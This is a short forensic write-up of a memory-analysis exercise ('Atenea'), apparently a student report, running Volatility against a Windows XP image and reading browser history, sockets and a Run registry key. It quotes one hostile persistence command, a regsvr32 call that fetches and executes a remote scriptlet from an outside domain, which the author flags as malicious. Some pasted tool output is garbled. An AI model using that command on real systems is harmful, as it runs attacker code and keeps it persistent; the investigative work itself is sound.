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Report for Memory Analysis - Atenea

Juan Diego Llano Miraval

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procedure

The first step is to check the profile of the image with volatility:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img imageinfo
Volatility Foundation Volatility Framework 2.6.1
*** Failed to import volatility.plugins.addrspaces.ieee1394 (AttributeError: /usr/local/lib/libforensic1394.so.2: undefined symbol: forensic1394_get_device_nodeid)
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
```

while checking the process, the connections, and the sockets, I found on the iehistory:

```
root@z:/home/zud/Desktop/atenea# volatility -f atenea.img --profile=WinXPSP2x86 iehistory
Volatility Foundation Volatility pramework 2.6.1
*** Failed to import volatility.plugins.addrapaces.ieee1394 (AttributeError: /usr/local/lib/libforensic1394.so.2: undefined symbol: forensic1394_get_device_node
*****Process: 1868 explorer.exe
Cache type "URL " at 0x.2005000
Record length: 0x100
Location: Visited: Administrador@msni://install.mar@/xgl_engine.htm
Last modified: 2018-10-20 23:47:33 UTC+0000
Lost accessed: 2018-10-20 23:47:33 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa4

****Process: 1868 explorer.exe
Cache type "URL " at 0x.2005100
Record length: 0x100
Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm
Last modified: 2018-10-20 23:47:36 UTC+0000
Last accessed: 2018-10-20 23:47:36 UTC+0000
Last accessed: 2018-10-20 23:47:36 UTC+0000
Record length: 0x100
Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm
```

here we can see Location: Visited: Administrador@msni://install.mar@/xgl_engine.htm and Location: Visited: Administrador@res://ieframe.dll/tabswelcome.htm

and the IP that is in the sockets:

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<pre>root@z:/home/zud/Desktop/atenea# volatility -f atenea.imgprofile=WinXPSP2x86 sockets Volatility Foundation Volatility Framework 2.6.1</pre>								
					2.6.1 Irspaces.ieee1394 (At	tributeError:	/usr/loca	al/lib/lib
Offset(V)	PID			Protocol		Create Time		
0x80efe618	4	138	17	UDP	169.254.240.5	0 2018-10-20	23:46:20	UTC+0000
0xff93b508	4	0	47	GRE	0.0.0.0	2018-10-20	23:46:35	UTC+0000
0x80da0b98	672	500	17	UDP	0.0.0.0	2018-10-20		
0x80e3f2c8	1052	1025	17	UDP	127.0.0.1	2018-10-20	23:46:29	UTC+0000
0x80e44cb0	1052	123	17	UDP	169.254.240.5	0 2018-10-20	23:46:34	UTC+0000
0xff8b0430	2256	1033	17	UDP	127.0.0.1	2018-10-20	23:47:34	UTC+0000
0xffbb6e98	4	445	6	TCP	0.0.0.0	2018-10-20	22:45:17	UTC+0000
0xffb6fe98	960	135	6	TCP	0.0.0.0	2018-10-20	23:45:19	UTC+0000
0xff939360	4	1027	6	TCP	0.0.0.0	2018-10-20	23:46:35	UTC+0000
0x80df97e8	672	0	255	Reserved	0.0.0.0	2018-10-20	23:46:29	UTC+0000
0xff960320	1052	123	17	UDP	127.0.0.1	2018-10-20	23:46:34	UTC+0000
0xff93ea18	1192	1900	17	UDP	169.254.240.5	0 2018-10-20	23:46:35	UTC+0000
0xffbcfa78	4	139	6	TCP	169.254.240.5	0 2018-10-20	23:46:20	UTC+0000
0x80d3f748	1624	1031	17	UDP	127.0.0.1	2018-10-20	23:47:13	UTC+0000
0x80d806a8	1052	68	17	UDP	0.0.0.0	2018-10-20	23:52:45	UTC+0000
0xff949878	248	1026	6	TCP	127.0.0.1	2018-10-20	23:46:34	UTC+0000
0xff83d9d0	3728	1035	17	UDP	127.0.0.1	2018-10-20	23:52:15	UTC+0000
0xffb91e98	4	137	17	UDP	169.254.240.5	0 2018-10-20	23:46:20	UTC+0000
0xff93eca0	1192	1900	17	UDP	127.0.0.1	2018-10-20	23:46:35	UTC+0000
0xff9b8d70	672	4500	17	UDP	0.0.0.0	2018-10-20	23:46:29	UTC+0000
0xffb7cd00	4	445	17	UDP	0.0.0.0	2018-10-20	22:45:17	UTC+0000
	/ /D	l-h/						

we also check the Microsoft\Windows\CurrentVersion\Run registry, first we locate the software hive:

from the address of the software hive, we use it as offset to get the key:

From here we can see regsvr32 /u /s /i:http://wiki-read.com/info.txt scrobj.dll the use of regsvr32 to execute code from an url is a known technique from malicious actors. This is the domain we were

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looking for.